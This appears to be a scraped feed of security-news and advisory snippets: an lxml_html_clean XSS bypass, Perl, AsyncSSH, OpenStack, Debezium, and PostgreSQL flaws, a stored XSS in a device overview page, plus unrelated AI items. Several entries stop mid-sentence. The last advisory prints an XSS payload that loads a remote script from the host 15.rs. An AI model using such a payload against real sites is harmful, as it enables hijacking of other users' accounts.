QR codes are disproportionately effective at bypassing most anti-spam filters. Talos discovered two effective methods for defanging malicious QR codes, a necessary step to make them safe for consumption.

### Impact The HTML Parser in lxml does not properly handle context-switching for special HTML tags such as `<svg>`, `<math>` and `<noscript>`. This behavior deviates from how web browsers parse and interpret such tags. Specifically, content in CSS comments is ignored by lxml_html_clean but may be interpreted differently by web browsers, enabling malicious scripts to bypass the cleaning process. This vulnerability could lead to Cross-Site Scripting (XSS) attacks, compromising the security of users relying on lxml_html_clean in default configuration for sanitizing untrusted HTML content. ### Patches Users employing the HTML cleaner in a security-sensitive context should upgrade to lxml 0.4.0, which addresses this issue. ### Workarounds As a temporary mitigation, users can configure lxml_html_clean with the following settings to prevent the exploitation of this vulnerability: * `remove_tags`: Specify tags to remove - their content is moved to their parents' tags. * `kill_tags`: Spec...

ChatGPT, Google Gemini, and Meta AI may be everywhere, but Baby Boomers don't trust the tech or the companies behind it.

Gentoo Linux Security Advisory 202411-9 - Multiple vulnerabilities have been discovered in Perl, the worst of which can lead to arbitrary code execution. Versions greater than or equal to 5.38.2 are affected.

Ubuntu Security Notice 7108-1 - Fabian Bäumer, Marcus Brinkmann, and Joerg Schwenk discovered that AsyncSSH did not properly handle the extension info message. An attacker able to intercept communications could possibly use this issue to downgrade the algorithm used for client authentication. Fabian Bäumer, Marcus Brinkmann, and Joerg Schwenk discovered that AsyncSSH did not properly handle the user authentication request message. An attacker could possibly use this issue to control the remote end of an SSH client session via packet injection/removal and shell emulation.

Now that large language models (LLMs) and LLM systems are flourishing, it’s important to reflect upon their security, the risks affecting them and the security controls to reduce these risks to acceptable levels.First of all, let’s differentiate between LLMs and LLM systems. This difference is key when analyzing the risks and the countermeasures that need to be applied. An LLM is an algorithm designed to analyze data, identify patterns and make predictions based on that data. A LLM system is a piece of software composed of artificial intelligence (AI) components, which includes a LLM along

A flaw was found in OpenStack. When a user tries to delete a non-existing access rule in it's scope, it deletes other existing access rules which are not associated with any application credentials.

A script injection vulnerability was found in the Debezium database connector, where it does not properly sanitize some parameters. This flaw allows an attacker to send a malicious request to inject a parameter that may allow the viewing of unauthorized data.

Cybersecurity researchers at Varonis have identified a serious security vulnerability in PostgreSQL that could lead to data breaches…

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "overwrite_ip" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users. ### Details The vulnerability occurs when editing a device. An attacker can inject arbitrary JavaScript into the "overwrite_ip" parameter. This malicious script is then executed in the "Assigned IP" field when the device overview page is loaded. The payload used to exploit this vulnerability is: `test'"><script src=//15.rs></script>` Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code. The root cause of this vulnerability is the application's failure to p...
